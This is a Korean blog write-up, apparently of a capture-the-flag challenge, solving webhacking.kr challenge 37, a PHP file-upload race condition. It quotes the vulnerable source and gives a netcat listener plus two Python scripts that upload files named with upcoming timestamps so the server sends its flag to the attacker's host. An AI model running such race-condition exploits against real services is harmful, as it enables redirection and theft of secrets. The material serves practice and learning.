해당 문제는 레이스컨디션 문제입니다.


소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 37</title>
</head>
<body>
<?php
  $db = dbconnect();
  $query = "select flag from challenge where idx=37";
  $flag = mysqli_fetch_array(mysqli_query($db,$query))['flag'];
  $time = time();

  $p = fopen("./tmp/tmp-{$time}","w");
  fwrite($p,"127.0.0.1");
  fclose($p);

  $file_nm = $_FILES['upfile']['name'];
  $file_nm = str_replace("<","",$file_nm);
  $file_nm = str_replace(">","",$file_nm);
  $file_nm = str_replace(".","",$file_nm);
  $file_nm = str_replace("/","",$file_nm);
  $file_nm = str_replace(" ","",$file_nm);

  if($file_nm){
    $p = fopen("./tmp/{$file_nm}","w");
    fwrite($p,$_SERVER['REMOTE_ADDR']);
    fclose($p);
  }

  echo "<pre>";
  $dirList = scandir("./tmp");
  for($i=0;$i<=count($dirList);$i++){
    echo "{$dirList[$i]}\n";
  }
  echo "</pre>";

  $host = file_get_contents("tmp/tmp-{$time}");

  $request = "GET /?{$flag} HTTP/1.0\r\n";
  $request .= "Host: {$host}\r\n";
  $request .= "\r\n";

  $socket = fsockopen($host,7777,$errstr,$errno,1);
  fputs($socket,$request);
  fclose($socket);

  if(count($dirList) > 20) system("rm -rf ./tmp/*");
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


여기서 15번 ~ 17번 라인을 보면 해당 시간에 맞는 timestamp의 파일을 생성하는 것을 볼 수 있습니다.

그리고 26번 ~ 30번 라인을 보면 파일을 생성하자마자 우리가 입력한 파일을 생성해주는 것을 볼 수 있습니다.

그리고 생성된 timestamp 이름의 파일의 내용을 file_get_contents 함수를 통해 가져와서 파일을 읽어옵니다.


그리고 41번 ~ 42번 라인을 보면 읽어온 값을 host에 넣고 GET 메소드로 요청을 보내는 것을 볼 수 있습니다.


ㅂㄷㅂㄷ 너무나 레이스 컨디션임을 잘 알려주고 있지만, 생각보다 짜증나는 문제가 아닐 수 없습니다.


일단 nc로 우리 서버에 7777포트를 열어주도록 합니다.


nc -lvp 7777


그리고 레이스 컨디션을 위한 두 개의 소스를 작성하여 실행시킵니다.

해당 문제의 레이스컨디션을 위해서는 두 가지의 소스코드가 필요합니다.


 

 파일 업로드 소스


#!/bin/python3
import requests
import time

requests.packages.urllib3.disable_warnings()
#sess        = requests.session()
URL         = 'https://webhacking.kr/challenge/web-18/'
headers     = { 'Cookie': '내 세션 값'}
proxies     = { 'http'  : 'http://localhost:8888',
                'https' : 'http://localhost:8888' }

while True:
    for i in range(0,3):
        file_name   = "tmp-" + str(int(time.time())+i)

        with open(file_name, 'w') as file_w:
            file_w.write("내 서버 아이피")

        files       = { 'upfile'        : open(file_name, 'rb')}

        res         = requests.post(url=URL + 'index.php',
                                    headers=headers,
                                    files=files,
                                    verify=False)

        print("[+] File Name : %s" % file_name)
        #print("[+] Result    : %s" % res.text)


위의 소스코드는 파일을 생성하여 내 아이피값이 tmp-timestamp 값에 입력되도록 계속해서 반복하여 업로드하는 소스입니다.

또한 해당 소스에서는 혹시 몰라 timestamp ~ timestamp+2까지의 값을 미리 업로드를 하도록 하였습니다.(혹시 몰라서)

그리고 proxies 는 선택사항이니 지워주셔도 무방합니다.



 

 접속하는 소스


import requests
import time

requests.packages.urllib3.disable_warnings()
#sess        = requests.session()
URL         = 'https://webhacking.kr/challenge/web-18/'
headers     = { 'Cookie': '내 세션'}
proxies     = { 'http'  : 'http://localhost:8888',
                'https' : 'http://localhost:8888' }

while True:
    for i in range(0,3):
        file_name   = "tmp-" + str(int(time.time())+i)        
        check       = requests.get(url=URL+'tmp/'+file_name,
                                   headers=headers,
                                   verify=False)

        print("[+] Check     : %s" % check.text)


위의 두 가지 소스를 동시에 실행시키면 nc로 켜둔 서버에 값이 들어갈 것입니다.






'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31

+ Recent posts